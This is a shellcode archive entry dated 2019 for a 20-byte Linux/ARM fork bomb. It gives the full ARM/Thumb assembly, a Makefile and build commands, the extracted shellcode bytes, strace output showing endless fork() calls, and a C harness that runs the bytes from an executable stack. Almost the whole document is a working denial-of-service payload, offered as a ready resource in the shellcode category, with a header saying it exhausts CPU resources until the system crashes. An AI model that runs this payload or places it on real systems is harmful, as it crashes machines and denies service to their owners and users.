Linux/ARM Fork Bomb Shellcode

20 bytes small Linux/ARM fork bombing shellcode.


MD5 | 3a86e07e5b85da6c5ff16ed6f87a1534

# Title:  Linux/ARM - Fork Bomb Shellcode (20 bytes)
# Date: 2019-10-07
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: CJHackerz
# Description: This shellcode creates new processes in infinite loop to exhaust CPU resources leading to crash

/*
## Compilation instruction

[email protected]:~ cat forkbomb_ARM32.s
.text
.global _start

_start:
.code 32
ADD R3, PC, #1//Switching to Thumb mode
BX R3

.code 16
_loop:
EOR R7, R7
MOV R7, #2//Syscall to fork()
SVC #1
MOV R8, R8 //NOP
BL _loop

[email protected]:~ cat Makefile
forkbomb_ARM32: forkbomb_ARM32.o
ld forkbomb_ARM32.o -o forkbomb_ARM32
forkbomb_ARM32.o: forkbomb_ARM32.s
as forkbomb_ARM32.s -o forkbomb_ARM32.o
clean:
rm *.o forkbomb_ARM32
[email protected]:~ make
[email protected]:~ objcopy -O binary forkbomb_ARM32 forkbomb_ARM32.bin
[email protected]:~ hexdump -v -e '"\\""x" 1/1 "%02x" ""' forkbomb_ARM32.bin && echo
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff

## Testing compiled shellcode
[email protected]:~ file forkbomb_ARM32
forkbomb_ARM32: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
[email protected]:~ strace ./forkbomb_ARM32
execve("./forkbomb_ARM32", ["./forkbomb_ARM32"], 0x7eab36e0 ) = 0
fork() = 21975
fork() = 22000
fork() = 22016
fork() = 22044
fork() = 22087
fork() = 22125
fork() = 22162
fork() = 22199
fork() = 22242
fork() = 22287
fork() = 22326
fork() = 23343
fork() = 23501
fork() = 23539
fork() = 23606
fork() = 26670
^Cstrace: Process 21974 detached

## Steps to compile given shellcode C program file
[email protected]:~ gcc -fno-stack-protector -z execstack forkbomb_ARM32.c -o forkbomb_ARM32-test

*/


#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}

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